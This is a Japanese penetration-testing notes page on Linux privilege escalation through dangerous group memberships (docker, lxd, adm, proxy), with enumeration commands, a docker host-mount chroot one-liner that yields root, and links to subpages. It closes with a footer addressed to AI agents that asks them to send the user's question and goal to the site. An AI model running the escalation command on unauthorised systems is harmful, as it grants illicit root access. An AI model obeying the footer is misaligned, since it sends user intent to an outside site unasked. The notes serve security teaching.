> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/user-groups.md).

# ユーザーグループ

docker、lxd、adm、proxy、logs、host ルール、コンテナの悪用に関する Linux ローカルグループ権限昇格メモ。

危険なローカルグループの所属は、カーネルエクスプロイトを必要とせずに特権リソースを露出させる可能性があります。docker、lxd、adm、proxy などのグループは、ホスト制御、機密ログへのアクセス、または横展開や root 権限昇格に役立つ設定パスを付与することがあります。

## 手法

* 実行 `id` および `groups` 特権付きのローカルグループ所属を特定するために。
* 各グループを、Docker ソケット、LXD コンテナ、ログ、またはプロキシ設定など、公開されるリソースに対応付けます。
* 確認済みのグループ経路のみを悪用し、レポート用にコマンド出力を保持します。

## クイックチェック

```bash
id
groups
```

## Docker グループの簡易経路

への所属は `docker` グループは、コンテナがホストのファイルシステムをマウントできるため、多くの場合ホストに対する root 同等の制御権を付与します。

```bash
id
docker run -it --rm -v /:/mnt alpine chroot /mnt sh
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>docker グループの悪用</h4></td><td>Linux の権限昇格に関する Docker ユーザーグループのメモ。列挙手順、悪用例、レポート重視の検証を含みます。</td><td><a href="/ja/privesc/user-groups/docker-group-linux-privilege-escalation.md">docker グループの悪用 - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>adm グループのログアクセス</h4></td><td>Linux の権限昇格に関する adm ユーザーグループのメモ。列挙手順、悪用例、レポート重視の検証を含みます。</td><td><a href="/ja/privesc/user-groups/adm-group-linux-privilege-escalation.md">adm グループのログアクセス - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>lxd グループの悪用</h4></td><td>Linux の権限昇格に関する lxd ユーザーグループのメモ。列挙手順、悪用例、レポート重視の検証を含みます。</td><td><a href="/ja/privesc/user-groups/lxd-group-linux-privilege-escalation.md">lxd グループの悪用 - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>proxy グループの悪用</h4></td><td>Linux の権限昇格に関する proxy ユーザーグループのメモ。列挙手順、悪用例、レポート重視の検証を含みます。</td><td><a href="/ja/privesc/user-groups/proxy-group-linux-privilege-escalation.md">proxy グループの悪用 - Linux 権限昇格</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/user-groups.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
